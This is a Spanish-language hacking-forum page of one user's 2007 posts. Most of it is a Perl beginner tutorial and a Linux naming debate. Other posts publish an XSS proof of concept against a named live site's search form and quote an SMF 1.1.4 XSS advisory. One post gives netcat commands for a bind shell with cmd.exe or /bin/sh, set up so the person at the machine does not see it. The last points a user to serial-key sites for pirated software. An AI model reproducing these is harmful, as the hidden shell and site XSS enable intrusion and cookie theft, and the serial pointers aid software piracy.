Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#4331
Citar¿cuáles kernels no son de un*x?
GNU/Linux no es Unix incluyendo todos sus distritos.

CitarNo veo a cuento de qué viene lo de GNU.
Porque se nombra Unix y Linux como si GNU no valiera... yo puedo decir "linux" y eso no significa GNU.
#4332
Que yo sepa Linux y Unix no es GNU y lo que la mayoría usamos es GNU/Linux asi que pienso que al llamarse esa sección "Hacking Linux/Unix" significa que no hay hacking en GNU el cual usamos nosotros. UNIX no es un SistemaOperativo libre, no así GNU que utiliza el kernel de Linux sobre el cual existen sus distritos que todos conocen... ubuntu, ututo, red hat, bsd, etc etc.

Yo opino que esa sección devería llamarse "Hacking GNU-Unix/Linux" o "Hacking Linux/GNU/Unix"de esta forma también abarcamos los kernels que no son linux... es mas... ni si quiera devería llamarse Linux ya que con nombrar ambos Sistemas Operativos ya lo abarcamos. ¿Que tal "Hacking GNU -Unix" ??

Bién decía Richard Stallman "GNU (GNU No es Unix)"
#4333
PHP / PHPIDS no me filtra una petición
8 Noviembre 2007, 02:53 AM
Estaba instalando phpids en una prueba en mi localhost para implementarlo en joomla y va todo bién exepto por este script que no me lo filtra:

http://127.0.0.1/joomla/phpids/docs/examples/example.php?test='" onload();
CitarNo attack detected - click for an example attack

Si pongo una comilla simple o doble si me lo filtra pero al poner eso completo no.
De todas formas un ataque de tipo <input type="text" name="mail" value="" > donde en una petición GET se rellene ese input puede provocar un XSS.

Todo está configurado por defecto. Hice algo mal? o hay que avisar?
#4334
Scripting / Tutorial Perl desde cero
7 Noviembre 2007, 04:15 AM
Como veo que no hay mucho material de Perl acá y si varios interesados... les dejo un tutorial que acabo de hacer... otro dia termino la segunda parte.

Programación en Perl I

Al igual que ustedes yo también aprendo por lo cual quiero compartir lo que yo se con ustedes para que todos juntos podamos aprender cada ves mas.

Perl es un lenguaje scripting interpretado, eso significa que necesitamos un software que leerá nuestros scripts y los ejecutará.
Les demostraré que tan facil puede ser aprender este lenguaje tan flexible, útil y facil de aprender.
Este tutorial va dedicado a usuarios de Linux en todas sus distribuciones ya que por defecto viene el software que ejecutará nuestros scripts llamado "Perl", en el caso de Windows tendrás que instalar "Active Perl" y "Cygwin" para acomodar cada función de linux y hacer mas poderosos nuestros scripts.

Mi primer script
Abrimos nuestro editor de texto (en Linux podemos usar gedit, kwrite o lo que sea... en Windows usaremos el block de notas) y comenzaremos a crear nuestro primer script:

Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test.pl

print "hola\n";
exit(0);


¿Que significa cada linea, como lo ejecutamos y que hace?
Cada linea que comienza con el carácter "#" será omitido al momento de ejecutarse el script, esto significa que son comentarios o cualquier cosa que quieras escribirle, esto no se ejecutará ni será tomado en cuenta.
En el caso de linux esto significa que es un código en perl e indica la dirección de perl, esto siempre Debes ponerlo al rpincipio, si no lo pones no pasa nada pero si se hace por costumbre para identificar que es un script en perl. Al pasar el mouse sobre el archivo este tomará el ícono de ejecutable devido a esa primera linea y será cosiderado un "script en Perl".
Código (perl) [Seleccionar]
#!/usr/bin/perl -w

Ahora pongo un comentario para indicar el nombre del archivo (esto no es obligación pero yo lo puse para mayor orden).
Código (perl) [Seleccionar]
#test1.pl

Ahora ejecutamos un print para escribir en pantalla la palabra hola. Esto puede crearse de muchas maneras según lo necesites, también esribimos "\n" el cual significa que al final de la palabra hola se escribirá el carácter "return" para seguir en la linea de abajo.
Código (perl) [Seleccionar]
print "hola\n";

Esto también podemos ejecutarlo de las siguientes maneras:
Código (perl) [Seleccionar]
print "hola";
print("hola");
print 'hola';
print('hola');


Al igual que en el lenguaje C++ puedes utilizar "printf" de la misma manera pero no "echo".

Acá le decimos que es el término del script, puedes no ponerlo pero se hace por costumbre en un buén script. Cuando digo exit(0) significa que no hubo errores, si escribo exit(1) le estoy diciendo al sistema que se produjo un error o los resultados no fueron lo esperado, esto lo puedes utilizar en complementos que veremos en otra oportunidad.
exit(0);

¿Como lo ejecutamos?
Guardaremos nuestro texto en el escritorio como test1.pl y desde la consola de comandos ejecutaremos lo siguiente:
En Linux:  perl ./test.pl
En Windows: c:\perl\perl.exe "%homepath%\escritorio\test.pl"


Nos aparecerá la palabra hola :D
Citaryan@Lola:~/Desktop$ perl ./test.pl
hola
yan@Lola:~/Desktop$

Ahora para practicar escribiremos algunos textos en pantalla:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test2.pl

print "hola,\n";
print "Como puedes ver acá escribio que sea sin problemas y con el carácter '\\n' hago return.\n";
printf "También puedo utilizar printf de la misma manera. Ahora vamos a salir del programa:\n";
exit(0);
print("Como ves esto no se ejecuta porque ya salí :p");



While y for
Estas dos funciones son muy útiles para automatizar todo un proceso:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test3.pl

my $cuenta = 1;

#-------------------------------------------------------------------------------------------------
print "Escribiremos desde 000 hasta 100\n";
for $i ( "000" .. "100" ) {
print "$i\n";
}
#-------------------------------------------------------------------------------------------------
print "Escribiremos 100 más, pero con while:\n";
while ( $cuenta <= 100 ) {
print "$cuenta\n";
$cuenta++;
}
#-------------------------------------------------------------------------------------------------
print "Fijate que si no le pongo comillas no tomará los ceros al comienzo:\n";
for $i ( 000 .. 100 ) {
print "$i\n";
}
#-------------------------------------------------------------------------------------------------
exit(0);


¿Que tal si me escribes en pantalla 100 veces la frase "no molestaré mas a mis compañeros" ? a Vart de los Simpsons de seguro le gustaría jajaja:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test4.pl

for $i ( "000" .. "100" ) {
print "No molestaré mas a mis compañeros.\n";
}
exit(0);


Si te fijas utilizé tres formas diferentes de hacer lo mismo, además con el carácter "#" puse unas lineas para separar cada código y así se vea mas ordenado.

Ustedes dirán... ¿Para que sirve "my $cuenta = 1;"? :

Declaraciones
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test5.pl

my $saludo = "Hola";
my $nombre = "WHK";

print "$saludo $nombre , como estas?";
exit(0);


Esto nos escribirá lo siguiente:
Citaryan@Lola:~/Desktop$ perl ./test5.pl
Hola WHK , como estas?
yan@Lola:~/Desktop$

También podemos crear una declaración de diferentes formas:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test6.pl

my ($saludo, $nombre);
$saludo = "Hola";
$nombre = "WHK";

print "$saludo $nombre , como estas?\n";
exit(0);


Variables
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test7.pl

my ($saludo, $nombre);
unless (@ARGV == 1) { die "uso: $0 Nombre\n" } ($nombre) = @ARGV;
$saludo = "Hola";

print "$saludo $nombre , como estas?\n";
exit(0);

¿Que significa esto?
No se asusten :p es facil, es mas... puedes copiar el código y usar siempre el mismo, solo cambias ciertas cosas que te diré ahora,

Cuando ejecutas tu script te dirá lo siguiente:
Citaryan@Lola:~/Desktop$ perl ./test7.pl
uso: ./test.pl Nombre
yan@Lola:~/Desktop$ perl ./test7.pl WHK
Hola WHK , como estas?
yan@Lola:~/Desktop$

Si te fijas la primera ves que lo ejecuté me decía como utilizarlo... que primero debería ejecutar el script mas un espacio y el nombre, al ejecutarlo nuevamente le di mi nombre y me lo escribió...
Citaryan@Lola:~/Desktop$ perl ./test7.pl Octalh
Hola Octalh , como estas?
yan@Lola:~/Desktop$

Ahora implementemos variables con declaraciones for o while :D, no se asusten con tanta palabrería porque no es  tan dificil cuando escribes por ti mismo el código:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test8.pl

my ($cuenta);
unless (@ARGV == 1) { die "uso: $0 Cuenta\n" } ($cuenta) = @ARGV;

for $i ( 1 .. $cuenta ) {
print "Escribiendo $i...\n";
}

exit(0);


Esto me dará lo siguiente:
Citaryan@Lola:~/Desktop$ perl ./test8.pl 10
Escribiendo 1...
Escribiendo 2...
Escribiendo 3...
Escribiendo 4...
Escribiendo 5...
Escribiendo 6...
Escribiendo 7...
Escribiendo 8...
Escribiendo 9...
Escribiendo 10...
yan@Lola:~/Desktop$

Si quieres agregar mas de una variable tendrás que modificar su código:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test9.pl

my ($cuenta, $palabra);
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;

for $i ( 1 .. $cuenta ) {
print "$palabra $i...\n";
}

exit(0);


Esto quiere decir:
Código (perl) [Seleccionar]
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;
Si las variables no son 2 entonces que no ejecute nada y que diga su utilización y si hay dos variables entonces la primera será $palabra y la segunda será $cuenta. Puedes modificar ese orden a tu gusto o agregarles las variables que tu quieras. $0 significa el nombre del mismo archivo que estás ejecutando.

If y Else
Ahora les voy a mostrar algo muy útil:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test10.pl

my ($cuenta, $palabra);
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;

if ($cuenta == 0) {
     $cuenta = 10;
}

else {
     for $i ( 1 .. $cuenta ) {
     print "$palabra $i...\n";
     }
}

exit(0);


Esto significa que cuando ejecutes el script primeramente verificará la variable:
Código (perl) [Seleccionar]
unless (@ARGV == 2) { die "uso: $0 [Palabra] [Cuenta]\n" } ($palabra, $cuenta) = @ARGV;

Luego verificará que si la variable $cuenta es igual a cero entonces le asignará el número 10
Código (perl) [Seleccionar]
if ($cuenta == 0) {
     $cuenta = 10;
}


Si no es igual a cero entonces escribirá en pantalla lo pedido:
Código (perl) [Seleccionar]
else {
     for $i ( 1 .. $cuenta ) {
     print "$palabra $i...\n";
     }
}


Y como siempre al final termina todo:
Código (perl) [Seleccionar]
exit(0);

Ahora utilizaremos if para saber si existen archivos o no:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test11.pl

if (-e "test2.pl") {
print "Si existe\n";
} else {
print "No existe\n";
}

exit(0);


Lo mismo pero con variables:
Código (perl) [Seleccionar]
#!/usr/bin/perl -w
#test12.pl

my ($archivo);
unless (@ARGV == 1) { die "uso: $0 [archivo]\n" } ($archivo) = @ARGV;

if (-e $archivo) {
print "$archivo si existe\n";
} else {
print "$archivo no existe\n";
}

exit(0);


Ahora que ya sabes un poco mas sobre scripts en Perl deverás practicar creando tus propios códigos cada ves más complejos o hasta donde esté tu conocimiento e imaginación.

En el próximo número publicaré un script que estoy creando, como averigüé sobre cada función y muchas otras cosas más como el uso de sockets y uso de comandos system();.

Saludos y hasta la próxima. Att. WHK.
Puedes bajar el documento en formato odt en tar.gz desde acá
#4335
@MOVE %1 C:\PAPERERA > nul && echo archivo  %1 eliminado.
Los batch son scripts por lo cual va en el subforo de scripting
#4336
Nivel Web / Re: XSS en PortalHacker.net
2 Noviembre 2007, 01:10 AM
CitarPor cierto no sabes de donde bajo el parche para el XSS q presenta el 1.1.4...!!

No hay aún pero no te preocupes ya que no son remotos a menos que se incluya un CSRF aunque dudo mucho que SMF sea vulnerable a eso.

Supongo que te refieres a este:
Citar_____________________________________________________________________
_______
|                                                                            |
| __________.__                 __   __________               __             |
| \______   \  | _____    ____ |  | _\______   \ ____   _____/  |_  ______   |
|  |    |  _/  | \__  \ _/ ___\|  |/ /|       _//  _ \ /  _ \   __\/  ___/   |
|  |    |   \  |__/ __ \\  \___|    < |    |   (  <_> |  <_> )  |  \___ \    |
|  |______  /____(____  /\___  >__|_ \|____|_  /\____/ \____/|__| /____  >   |
|         \/          \/     \/     \/       \/                        \/    |
|----------------------------------------------------------------------------|
|                                                                            |
|    http://www.blackroots.it                  staff[at]blackroots[
dot]it      |
|                                                                            |
|    Autore : The-Dark_Man && Bled                                           |
|____________________________________________________________________________|

##############################################################################
#                                                                            #
#                               XSS smf 1.1.4                                #
#                                                                            #
##############################################################################
 
Found Xss in the administration...
 
1----------------------
Go to http://link/[path]/index.php?action=news
Modify the news and insert
<script>alert('Xss')</script>
Save the news! no an alert will be generated in every page!

2---------------------
Go to http://link/[path]/index.php?action=manageboards
Create a new forum with Title:
<script>alert('Xss')</script>
result? XSS  ;)

3---------------------
Go here http://link/[path]/index.php?action=membergroups;
Modify or create a new gruop and name it:
<script>alert('Xss')</script>
;)

----------------------
The-Dark_Man && Bled of blackroots.it
#4337
Nivel Web / Re: XSS en PortalHacker.net
2 Noviembre 2007, 01:05 AM
NO..... ese buscador no es propio del foro, el XSS de SMF es otro mas :P al final tienen como 4 XSS incluyendo web y foro pero la diferencia es que los que tu dices son solo locales y tendrías que tener derechos sobre el foro para crear los XSS, este que yo digo cualquiera puede crearlo.
#4338
Nivel Web / XSS en PortalHacker.net
2 Noviembre 2007, 00:54 AM
Hace tiempo encontré algunos XSS en elhacker.com y .org pero aún no los reparan a pesar del tiempo que llevan y de que fueron publicados y avisados. Ahora portalhacker.net también tiene un XSS localizado en el buscador de la pagina principal.

PoC:
Código (html4strict) [Seleccionar]
<form name="buscarform" action="http://www.portalhacker.net/buscar.php" method="post">
<input name="buscar" type="hidden" value="ok">
<input name="query" type="text" size=12 value="Pon tu XSS acá">
<input type="submit" value="Enviar"></form>

Donde puse "Pon tu XSS acá" prueba con enviar la siguiente petición post: "<script>alert(/xss/);</script>"

Después se quejan del porqué les roban las cookies.
#4339
Scripting / Re: Batch + NetCat (ayuda)
31 Octubre 2007, 19:10 PM
Citarnc.exe -vv -l -p 6000
No te va a resultar ya que primeramente la persona no deberia ver nada asi que Debes quitarle el -vv además Debes agregarle -d (die console) ya que si cierra la ventana entonces se desconectará... también Debes especificar que utilizará la consola de comandos a ejecutar si es eso lo que quieres.

Windows:
nc.exe -d -e cmd.exe -L -p 6000

Linux:
nc -l -d -p 6000 -e /bin/sh
sudo nc -l -d -p 6000 -e /bin/sh
#4340
Hacking / Re: Necesitas una contraseña?
31 Octubre 2007, 14:14 PM
Citaroiie solo qeria saber si tu sabes donde puedo conseguir el numero de activacion para el programa virtuallab v5.5.15.505 para windows

Si necesitas un serial no te rompas loa cabeza buscando en páginas que ni sabes que te están dando, buscate el Serialz2000 y te bajas cada actualización. Una ves abierto le das el nombre del programa y te da su correspondiente serial. Tiene una base de datos interna impresionante.

http://www.serialz.to/

También puedes buscar Craagle o el Serials Downloader, etc etc.